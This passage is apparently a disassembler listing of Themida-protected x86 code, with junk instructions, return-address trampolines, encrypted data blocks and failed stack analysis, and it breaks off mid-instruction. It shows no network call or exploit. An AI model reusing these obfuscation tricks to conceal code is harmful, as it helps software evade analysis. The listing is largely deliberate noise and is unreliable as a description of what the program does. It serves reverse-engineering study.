0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0A3C35646h dd 0D7B4BE1Dh, 0B88895h, 0E9000000h, 5, 0AC84D7DDh, 13E948h dd 0F7BE0000h, 4A8C12A3h, 0A8898B6Ah, 5B27F6C4h, 0F7B3E846h dd 0FC00BFEh, 6184h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 97B4FE04h, 2DE98D89h dd 0BD830612h, 6120DB5h, 2F840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 93D3C352h, 0C995FF44h, 0E9061210h, 6, 2F4FF1B0h, 858B9CC9h dd 61203A5h, 0C6F9h, 19FD952Bh, 51580612h, 10D9952Bh, 665A0612h dd 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0B7D59BC3h, 4C1F666h, 79840Fh, 71BB0000h dd 0E95B8DBDh, 6Fh, 7B9BBB66h, 9C1B58Bh, 0CE80612h, 0F000000h dd 79BF977Dh, 62FC872Eh, 0F91CC020h, 80C6815Bh, 0E8000011h dd 0Bh, 80646015h, 5B53FFC9h, 813A64E2h, 15A4DFDAh, 6C75A46h dd 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_54D4FB and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54D4FB proc near ; CODE XREF: Themida_:0054D4F3p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_54D4FB endp ; --------------------------------------------------------------------------- db 0CFh ; --------------------------------------------------------------------------- mov edi, esp push es lodsb push edx push edi and eax, 1B998509h adc al, [esi] mov edx, [ebp+6121F7Dh] pop esi jo loc_54D53A jmp loc_54D53A ; --------------------------------------------------------------------------- db 70h dd 1FCFCE9h, 78CB049Eh, 0E5628B55h ; --------------------------------------------------------------------------- xor al, 0C5h loc_54D53A: ; CODE XREF: Themida_:0054D520j ; Themida_:0054D526j or [ebp+61223B9h], ecx cmp eax, 0 jz loc_54E0A6 mov dx, bx mov edx, ecx cmp eax, 1 jnz loc_54D6A2 or ebx, 2D0CD24Eh mov eax, 0 sbb bh, 2Bh or eax, eax jz loc_54D629 push 0 push edi call sub_54D578 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54D578 proc near ; CODE XREF: Themida_:0054D570p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_54D578 endp ; --------------------------------------------------------------------------- popa lodsb mov edx, [ebp+6121345h] cmp eax, 1 jz loc_54D663 mov bx, 0EE9Ah cmp eax, 3 jz loc_54D5F1 mov ebx, 76E04D55h sub eax, eax mov edx, [ebp+6122ADDh] lea edi, dword_5B89E0[ebp] sbb bx, 8900h jmp edi ; --------------------------------------------------------------------------- push 0 push esi call sub_54D5CB and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54D5CB proc near ; CODE XREF: Themida_:0054D5C3p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_54D5CB endp ; --------------------------------------------------------------------------- db 28h dd 2569B50h, 0E7E71C68h, 0B58B6008h, 6122081h, 8B61E68Ah db 0D3h ; --------------------------------------------------------------------------- loc_54D5F1: ; CODE XREF: Themida_:0054D5A0j ; Themida_:0054D704j mov eax, 1 push 0 push edi call sub_54D601 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54D601 proc near ; CODE XREF: Themida_:0054D5F9p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_54D601 endp ; --------------------------------------------------------------------------- sahf test [ebp-2574997Fh], al lea edi, dword_5B89E0[ebp] sbb edx, 4626685Bh jmp edi ; --------------------------------------------------------------------------- xor dl, 0B8h loc_54D629: ; CODE XREF: Themida_:0054D567j lea edi, [ebp+61243BBh] jge loc_54D636 clc loc_54D636: ; CODE XREF: Themida_:0054D62Fj jmp loc_54D8F7 ; --------------------------------------------------------------------------- push 0 push eax call sub_54D646 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54D646 proc near ; CODE XREF: Themida_:0054D63Ep arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_54D646 endp ; --------------------------------------------------------------------------- dw 0ED42h dd 35B7EF97h, 665B2953h db 0BAh, 13h, 0CBh ; --------------------------------------------------------------------------- loc_54D663: ; CODE XREF: Themida_:0054D593j ; Themida_:0054D6E9j mov dword ptr [ebp+6124D8Ah], 5 push 0 push ebp call sub_54D678 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54D678 proc near ; CODE XREF: Themida_:0054D670p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_54D678 endp ; --------------------------------------------------------------------------- xchg eax, esp or cl, [ecx+1203D185h] push es mov eax, 5 mov ebx, eax jmp loc_54DFD5 ; --------------------------------------------------------------------------- mov edx, [ebp+6121BC9h] loc_54D6A2: ; CODE XREF: Themida_:0054D551j cmp eax, 2 jnz loc_54D777 add bh, 5Fh mov eax, 0 push 0 push eax call sub_54D6BE and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54D6BE proc near ; CODE XREF: Themida_:0054D6B6p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_54D6BE endp ; --------------------------------------------------------------------------- clc jnb short loc_54D737 sub edx, 0C00BAE26h jz loc_54D751 pusha mov edi, [ebp+61208ADh] stc popa cmp eax, 1 jz loc_54D663 jmp loc_54D701 ; --------------------------------------------------------------------------- dd 0C3D722BAh, 80DB33Eh, 0DE3AEA2Ah db 0E6h ; --------------------------------------------------------------------------- loc_54D701: ; CODE XREF: Themida_:0054D6EFj cmp eax, 3 jz loc_54D5F1 mov [ebp+61211E9h], esi mov eax, 0 sub dl, 0BEh lea edi, dword_5B89E0[ebp] push 0 push ebx call sub_54D729 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54D729 proc near ; CODE XREF: Themida_:0054D721p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx loc_54D737: ; CODE XREF: Themida_:0054D6CFj push ebx retn sub_54D729 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0ACh, 0E5h, 9Eh ; --------------------------------------------------------------------------- add byte ptr [ebx+40h], 60h mov [ebp+6120D45h], ecx mov ebx, esi popa jmp edi ; --------------------------------------------------------------------------- mov [ebp+61223A5h], ebx loc_54D751: ; CODE XREF: Themida_:0054D6D7j lea edi, [ebp+61245B3h] js loc_54D760 add bh, 60h loc_54D760: ; CODE XREF: Themida_:0054D757j jmp loc_54D8F7 ; --------------------------------------------------------------------------- jno loc_54D777 jnb loc_54D777 sub [ebp+61211E1h], eax loc_54D777: ; CODE XREF: Themida_:0054D6A5j ; Themida_:0054D765j ... cmp eax, 3 jnz loc_54D7DC push 0 push ebp call sub_54D78B and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54D78B proc near ; CODE XREF: Themida_:0054D783p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_54D78B endp ; --------------------------------------------------------------------------- db 0B5h dd 506EFC33h, 0DAD8531h, 8D5A0612h, 124747BDh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0D0196F50h, 8A52B355h, 121E9D9h, 0BD010000h, 61223A1h ; --------------------------------------------------------------------------- loc_54D7DC: ; CODE XREF: Themida_:0054D77Aj cmp eax, 5 jnz loc_54D821 mov [ebp+612158Dh], edi jmp loc_54D7F7 ; --------------------------------------------------------------------------- dd 0A9F9D11Eh ; --------------------------------------------------------------------------- retn 0A3E6h ; --------------------------------------------------------------------------- loc_54D7F7: ; CODE XREF: Themida_:0054D7EBj jmp loc_54DFD5 ; --------------------------------------------------------------------------- push 0 push ebp call sub_54D807 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54D807 proc near ; CODE XREF: Themida_:0054D7FFp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_54D807 endp ; --------------------------------------------------------------------------- mov eax, [eax-6A74D12Dh] lea eax, [ecx] adc al, [esi] loc_54D821: ; CODE XREF: Themida_:0054D7DFj cmp eax, 6 jnz loc_54D85A lea edi, [ebp+612493Fh] mov dx, ax jmp loc_54D8F7 ; --------------------------------------------------------------------------- call sub_54D848 dec ecx inc esp pop ss scasd faddp st(1), st mov ds:0EEA3735Bh, al ; =============== S U B R O U T I N E ======================================= sub_54D848 proc near ; CODE XREF: Themida_:0054D838p ; FUNCTION CHUNK AT 0054D8C0 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0054D8E8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0054D8F7 SIZE 0000000C BYTES or [ebp+61226A1h], edx pop edx pusha sub bh, 0A5h mov [ebp+6121E45h], ebx popa loc_54D85A: ; CODE XREF: Themida_:0054D824j cmp eax, 7 jnz loc_54D8C0 call near ptr loc_54D877+3 push ss xor eax, 3AFE92ECh mov cl, [edi+2Eh] std repne pusha sbb edx, [eax+74h] loc_54D877: ; CODE XREF: sub_54D848+1Bp mov ecx, 8B665D9Dh sub_54D848 endp ; sp-analysis failed ficomp dword ptr [ebx-73h] mov ebp, 6120A31h push 0 push edi call sub_54D88F and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54D88F proc near ; CODE XREF: Themida_:0054D887p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_54D88F endp ; --------------------------------------------------------------------------- db 4 dd 5DB30E3Eh, 0E9929EE7h, 126h, 8E8h, 0A32F4900h, 0A7160F0Ah dd 958B5AE8h, 6122DFDh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54D848 loc_54D8C0: ; CODE XREF: sub_54D848+15j cmp eax, 0Ah jnz loc_54D8F7 xor edx, 5E7D2422h jl loc_54D8D8 movsx edx, si loc_54D8D8: ; CODE XREF: sub_54D848+87j lea edi, [ebp+6124B37h] jmp loc_54D8E8 ; END OF FUNCTION CHUNK FOR sub_54D848 ; --------------------------------------------------------------------------- db 0A4h dd 0E8C68A9Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54D848 loc_54D8E8: ; CODE XREF: sub_54D848+96j jmp loc_54D8F7 ; END OF FUNCTION CHUNK FOR sub_54D848 ; --------------------------------------------------------------------------- ja loc_54D8F7 mov bx, 0CA04h ; START OF FUNCTION CHUNK FOR sub_54D848 loc_54D8F7: ; CODE XREF: Themida_:loc_54D636j ; Themida_:loc_54D760j ... push edi push 0 push esi call sub_54D903 and [esi-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_54D848 ; =============== S U B R O U T I N E ======================================= sub_54D903 proc near ; CODE XREF: sub_54D848+B3p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_54D903 endp ; --------------------------------------------------------------------------- db 8Ch ; --------------------------------------------------------------------------- aas idiv al or [edi], ch sbb dx, 0E849h jmp loc_54D933 ; --------------------------------------------------------------------------- db 0A1h dd 903B05B1h, 5AB4833Ch, 2083480Bh db 9Bh, 46h, 28h ; --------------------------------------------------------------------------- loc_54D933: ; CODE XREF: Themida_:0054D91Ej mov ecx, 653F940Ch jmp loc_54D950 ; --------------------------------------------------------------------------- db 0ACh, 0FAh, 0D6h dd 0B0C84952h, 5F78E59Eh, 7040A76h, 0B157CEB4h ; --------------------------------------------------------------------------- loc_54D950: ; CODE XREF: Themida_:0054D938j cmp dword ptr [edi], 0 jz loc_54D9A8 mov dx, 9FABh xor [edi], cl adc edx, 447566DCh mov edx, [ebp+6121F99h] ror ecx, 1 push 0 push ecx call sub_54D978 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54D978 proc near ; CODE XREF: Themida_:0054D970p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_54D978 endp ; --------------------------------------------------------------------------- dd 998701B7h, 0D9DE77EAh, 0E94725E4h, 5, 9E1AA6B0h, 0FFAEE92Fh dd 8589FFFFh, 61212C1h ; --------------------------------------------------------------------------- loc_54D9A8: ; CODE XREF: Themida_:0054D953j pop edi push 0 push esi call sub_54D9B4 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54D9B4 proc near ; CODE XREF: Themida_:0054D9ACp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_54D9B4 endp ; --------------------------------------------------------------------------- dd 0FE07DEBDh, 6A7AF155h, 23B5958Bh, 0BD890612h, 6124D33h dd 89F78A60h, 122A058Dh, 8D8D6106h, 61216B5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 10C35141h, 958BD3B2h dd 6120899h, 30FDB5FFh, 8DF80612h, 14A7DF85h, 0BD8D5006h dd 612540Ah, 70178D8Dh, 0BCB80612h, 2B54831Ah, 0D00730CFh dd 754947C8h, 92B58DF8h, 8D06126Fh, 12702F8Dh, 0F3CF2B06h dd 0B8C933A4h, 0 ; --------------------------------------------------------------------------- or eax, eax jz short loc_54DA96 cmp dword ptr [ebp+6120DB5h], 0 jz short loc_54DA5F call dword ptr [ebp+61210C9h] loc_54DA5F: ; CODE XREF: Themida_:0054DA57j mov esi, [ebp+6124D33h] lea eax, [ebp+614A7DFh] call eax lea eax, [ebp+6124350h] call eax mov dword ptr [ebp+6121229h], 1 mov esp, [ebp+6120469h] mov esi, [ebp+6120EF5h] mov ebp, [ebp+61228A5h] xor eax, eax retn 0Ch ; --------------------------------------------------------------------------- loc_54DA96: ; CODE XREF: Themida_:0054DA4Ej mov dh, 50h ja loc_54DAA1 adc dh, 0Eh loc_54DAA1: ; CODE XREF: Themida_:0054DA98j cmp dword ptr [ebp+6121D65h], 0 jz loc_54DAC7 mov bl, ah call dword ptr [ebp+6121FEDh] jmp loc_54DAC7 ; --------------------------------------------------------------------------- retn 40C4h ; --------------------------------------------------------------------------- dw 938Eh dd 8AA06A51h db 0DDh, 0C9h, 72h ; --------------------------------------------------------------------------- loc_54DAC7: ; CODE XREF: Themida_:0054DAA8j ; Themida_:0054DAB6j cmp dword ptr [ebp+6120099h], 0 jnz loc_54DC6C mov edx, 61C6AB1Bh mov edx, [ebp+61203F5h] cmp dword ptr [ebp+61207ADh], 1 jnz loc_54DC6C mov [ebp+6121811h], esi cmp dword ptr [ebp+61217B1h], 0 jz loc_54DC6C mov [ebp+61231ADh], ecx cmp dword ptr [ebp+6124D86h], 0 jz loc_54DC6C push 0 push edi call sub_54DB1D and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54DB1D proc near ; CODE XREF: Themida_:0054DB15p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_54DB1D endp ; --------------------------------------------------------------------------- db 0FDh, 1Ch, 6Ah dd 8952F24Dh, 1220D9B5h, 858D5A06h, 614A7DFh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0EBC35646h, 0FE4E412h dd 0B81h, 5890F00h, 0BB000000h, 409B2B75h, 4D33B58Bh, 0BF0F0612h dd 0C6D0FFDBh, 12287185h, 0B70F5406h, 0DEDC68D8h, 8B66A1BEh dd 240481D9h, 5D8FE018h, 19ED9D8Bh, 850F0612h, 5, 0C4CA8166h dd 0B1B5FFF8h, 1061203h, 12016D9Dh, 5D858D06h, 0F06123Bh dd 385h, 0D78B6600h, 0BD29D0FFh, 6122AADh, 6A006Ah, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 12E97CC3h, 0FD000000h, 4F2D44AFh, 0BCC2AF0Bh, 73FA7384h dd 2A84D510h, 6AFF6A8Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0B3E1C353h, 808BA33Eh dd 10E936h, 37DA0000h, 6489EF69h, 0B516ED5Bh, 8D7E4D3Eh dd 0D0FFC3D6h, 34A98D89h, 0B5FF0612h, 6121E71h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 7EC35141h, 30FD95FFh dd 95890612h, 61209ADh ; --------------------------------------------------------------------------- loc_54DC6C: ; CODE XREF: Themida_:0054DACEj ; Themida_:0054DAE6j ... mov esi, [ebp+6124D33h] jo locret_54DC80 jl locret_54DC80 pusha popa locret_54DC80: ; CODE XREF: Themida_:0054DC72j ; Themida_:0054DC78j retn ; --------------------------------------------------------------------------- jmp loc_54DC8D ; --------------------------------------------------------------------------- sub ch, [esi+esi+259CAD61h] loc_54DC8D: ; CODE XREF: Themida_:0054DC81j mov esi, [ebp+61203A5h] push 0 push edx call sub_54DC9E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54DC9E proc near ; CODE XREF: Themida_:0054DC96p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_54DC9E endp ; --------------------------------------------------------------------------- dw 33E2h ; --------------------------------------------------------------------------- popf and [edx], ecx adc al, [esi] push edi call sub_54DCCE and al, 0BEh std retn 5FF2h ; --------------------------------------------------------------------------- align 2 dw 336Bh dd 2D30EFDAh, 7A183783h db 0FBh, 15h ; =============== S U B R O U T I N E ======================================= sub_54DCCE proc near ; CODE XREF: Themida_:0054DCB6p ; FUNCTION CHUNK AT 0054DD09 SIZE 00000011 BYTES mov edx, [ebp+6121309h] pop edx pop ebx or esi, esi jz loc_54DD09 push 0 push edi call sub_54DCE9 and [edi-3Dh], bl sub_54DCCE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_54DCE9 proc near ; CODE XREF: sub_54DCCE+13p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_54DCE9 endp ; --------------------------------------------------------------------------- cwde mov bx, 7CB8h mov byte ptr [esi], 0 mov bl, dl xor edx, [ebp+6120929h] ; START OF FUNCTION CHUNK FOR sub_54DCCE loc_54DD09: ; CODE XREF: sub_54DCCE+Aj mov [ebp+6124D3Bh], eax push 0 push ebx call sub_54DD1A and [ebx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_54DCCE ; =============== S U B R O U T I N E ======================================= sub_54DD1A proc near ; CODE XREF: sub_54DCCE+44p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_54DD1A endp ; --------------------------------------------------------------------------- dw 93CFh ; --------------------------------------------------------------------------- sub byte ptr [esi-4Dh], 8Dh mov dx, 977Bh cmp eax, 0 jz loc_54E0A6 push 0 push edi call sub_54DD48 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54DD48 proc near ; CODE XREF: Themida_:0054DD40p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_54DD48 endp ; --------------------------------------------------------------------------- dd 3A9F5D9Bh, 717948B1h, 28A0Fh, 0EBB60000h, 0B8h, 0C2816600h dd 0F8833AEFh, 92840F00h, 0F8000000h, 0F02F883h, 7B85h dd 0F2816600h, 858DB2A5h, 61243B6h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 0B9C35141h, 0D32E0DB1h, 43D60DE9h dd 95D8531h, 95230612h, 61201D9h, 9292Dh, 0DF8B6600h, 84BA6690h dd 50605006h, 5E952h, 0B9510000h, 0F022A90h, 0F525031h dd 5A585A31h, 11BE6658h, 609061B8h, 0D399D8Bh, 85890612h dd 61211B5h, 9D33C361h, 61229D1h, 0B8h, 29CE900h, 8B660000h dd 1B8DFh, 8C0F0000h, 6, 0C819D8Bh, 0BD8D0612h, 61243BBh dd 6810Fh, 85010000h, 61234F9h, 100E9h, 0D68B6600h, 0F02F883h dd 5485h, 0BD8DFC00h, 61245B3h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 0F4C35040h, 11AD20Bh, 1204D195h dd 0ED858906h, 0E9061215h, 0BDh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 35C35343h, 3F88325h, 67850Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 0CB8DE5C3h, 69952923h, 8D061205h, 124747BDh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 56D3ED06h, 3805EEAh, 820FF46Bh, 0Ch, 7E9h dd 4E6BCD00h, 0B9C29A6Dh, 30E9h, 5F88300h, 27850Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0D913ACC3h, 0FAE68087h, 0A0E9h, 8D295700h, 612118Dh dd 3F940CB9h, 53006A65h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 3F8365D5h, 6E840F00h, 89000000h dd 12233D85h, 6A0F3006h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 9C07C357h, 0E9FB0A87h dd 12h, 8E2ECE2Dh, 38E47611h, 0BE90ADADh, 0A55684B1h, 0C9D16A98h dd 47FCE380h, 0ABE90EB7h, 66FFFFFFh, 9B97C281h, 10E960h dd 26710000h, 741FEE1Bh, 0B8C1142Eh, 0A5ABEB52h, 9D314C5Bh dd 6122199h ; --------------------------------------------------------------------------- popa loc_54DFD5: ; CODE XREF: Themida_:0054D697j ; Themida_:loc_54D7F7j cmp eax, 5 jnz loc_54E0A6 push 0 push eax call sub_54DFE9 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54DFE9 proc near ; CODE XREF: Themida_:0054DFE1p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_54DFE9 endp ; --------------------------------------------------------------------------- mov esp, 0B1BD899Dh adc al, es:[esi] mov cx, ds push 0 push esi call sub_54E00F and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54E00F proc near ; CODE XREF: Themida_:0054E007p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_54E00F endp ; --------------------------------------------------------------------------- js short near ptr loc_54E03C+2 mov ch, 0F3h test cl, 4 jnz loc_54E060 push 0 push edi call sub_54E037 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54E037 proc near ; CODE XREF: Themida_:0054E02Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi loc_54E03C: ; CODE XREF: Themida_:0054E01Fj add [esp-4+arg_4], 15h inc edi push edi retn sub_54E037 endp ; --------------------------------------------------------------------------- icebp sub cl, [edi] mov bh, 0D8h mov dx, di mov eax, 0 mov ebx, 77DBF351h jmp loc_54E0A6 ; --------------------------------------------------------------------------- mov ebx, eax loc_54E060: ; CODE XREF: Themida_:0054E026j mov eax, [ebp+6121C61h] jmp loc_54E07E ; --------------------------------------------------------------------------- db 0B2h dd 0F404BEBh, 0EB1C8CECh, 9BF6500Dh, 3C8384CCh ; --------------------------------------------------------------------------- add al, 0C1h loc_54E07E: ; CODE XREF: Themida_:0054E066j jmp eax ; --------------------------------------------------------------------------- push 0 push ecx call sub_54E08B and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54E08B proc near ; CODE XREF: Themida_:0054E083p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_54E08B endp ; --------------------------------------------------------------------------- inc esi ffreep st(2) or al, 48h mov [ebp+6121AF1h], edx loc_54E0A6: ; CODE XREF: Themida_:0054D543j ; Themida_:0054DD37j ... cmp dword ptr [ebp+61230FDh], 0 jnz loc_54E1A7 pusha jbe loc_54E0D2 jmp loc_54E0D2 ; --------------------------------------------------------------------------- db 0BAh dd 0B3D13848h, 0AE3508AEh, 1188B17Ah, 11BC0568h ; --------------------------------------------------------------------------- adc al, 22h loc_54E0D2: ; CODE XREF: Themida_:0054E0B4j ; Themida_:0054E0BAj mov ebx, [ebp+612040Dh] popa jge loc_54E0F0 jmp loc_54E0F0 ; --------------------------------------------------------------------------- dd 4E223B3Fh, 46D054C6h, 511B3F47h ; --------------------------------------------------------------------------- loc_54E0F0: ; CODE XREF: Themida_:0054E0D9j ; Themida_:0054E0DFj nop mov dx, 623Ch push eax mov dl, bl nop push 0 push ebp call sub_54E104 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54E104 proc near ; CODE XREF: Themida_:0054E0FCp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_54E104 endp ; --------------------------------------------------------------------------- dd 0FF8F7DDh, 0BD29DBB7h, 6121759h, 287185C6h, 8A450612h dd 68D98AF1h, 0AC8A4D40h, 8D53CFBAh, 24348126h, 22F82429h dd 1BD1B589h, 0B5FF0612h, 61203B1h, 98F0Fh, 870F0000h dd 3, 66E1DA80h, 3E43DA81h, 3B5D858Dh, 0BE80612h, 0A4000000h dd 60C8081h, 0CB64393Ch, 958BE098h, 6120491h, 0B2D0FF5Bh dd 15958B2Eh, 89061209h, 1230FD85h, 0DF8B6606h, 6E858h dd 2BCA0000h, 6258DE94h, 85953156h, 5A061223h, 9195035Ah ; --------------------------------------------------------------------------- sbb dl, [edx] push es loc_54E1A7: ; CODE XREF: Themida_:0054E0ADj cmp dword ptr [ebp+6124D8Ah], 0 jz loc_54E225 push 0 push esi call sub_54E1BF and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54E1BF proc near ; CODE XREF: Themida_:0054E1B7p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_54E1BF endp ; --------------------------------------------------------------------------- db 0C6h dd 945D4E1Bh, 8BE46398h, 121C6D9Dh, 71B5FF06h, 6A06121Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 7C32C353h, 30FD95FFh, 8B0F0612h, 19h, 14E9h dd 0CA744B00h, 0D4BBE210h, 0DD58AF41h, 10EFBA9Fh, 132D0011h db 0A8h ; --------------------------------------------------------------------------- loc_54E225: ; CODE XREF: Themida_:0054E1AEj cmp eax, 0 jnz loc_54E2AC push 0 push esi call sub_54E239 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54E239 proc near ; CODE XREF: Themida_:0054E231p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_54E239 endp ; --------------------------------------------------------------------------- db 30h, 75h, 0CFh dd 83EFB711h, 120379BDh, 840F0006h, 29h, 379B5FFh, 1B80612h dd 8B000000h, 1211C59Dh, 0B99D8B06h, 0E9061212h, 186h dd 58F0Fh, 3BBB0000h, 0B2666375h, 71B5FF23h, 6606121Eh dd 0FFC654BAh, 121E71B5h, 7D950106h, 0FF061200h, 1230FDB5h dd 57E9F806h, 0BB000001h, 3BC3FD57h ; --------------------------------------------------------------------------- loc_54E2AC: ; CODE XREF: Themida_:0054E228j pop edi sbb bx, 9A96h cmp dword ptr [ebp+6122341h], 0 jnz loc_54E353 mov [ebp+6122F99h], eax mov byte ptr [ebp+6122871h], 4Dh sub bh, 0F1h push 522B33DBh mov edx, edi add dword ptr [esp], 520A42CDh mov ebx, [ebp+612091Dh] push dword ptr [ebp+6121D39h] call near ptr loc_54E2F7+3 mov eax, esp sub edi, esi xchg eax, ecx mov al, 0C1h cmp al, 42h loc_54E2F7: ; CODE XREF: Themida_:0054E2E9p sub eax, 0CE99CCDh ; --------------------------------------------------------------------------- dd 6F000000h, 0D3301596h, 0C884030Bh, 5AD03165h, 61F86060h dd 5D858D61h, 6606123Bh, 810FDE8Bh, 6, 7FCFC281h, 0D0FF31D3h dd 89D3B70Fh, 12234185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 0C0BB91B7h db 0E4h, 0, 51h ; --------------------------------------------------------------------------- loc_54E353: ; CODE XREF: Themida_:0054E2B9j mov eax, 0 mov dl, 7Eh mov [ebp+6124D33h], edi jmp loc_54E36B ; --------------------------------------------------------------------------- db 9Dh, 0F5h, 0DBh db 2Dh, 4Ch, 24h ; --------------------------------------------------------------------------- loc_54E36B: ; CODE XREF: Themida_:0054E360j or eax, eax jz loc_54E383 mov dl, bl movzx edx, di jmp loc_54E3FE ; --------------------------------------------------------------------------- mov edx, [ebp+612041Dh] loc_54E383: ; CODE XREF: Themida_:0054E36Dj push dword ptr [ebp+61230FDh] and dx, 39Dh mov edx, [ebp+6123471h] lea eax, [ebp+614A7DFh] push 0 push eax call sub_54E3A5 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54E3A5 proc near ; CODE XREF: Themida_:0054E39Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_54E3A5 endp ; --------------------------------------------------------------------------- rol dword ptr [eax], cl xor 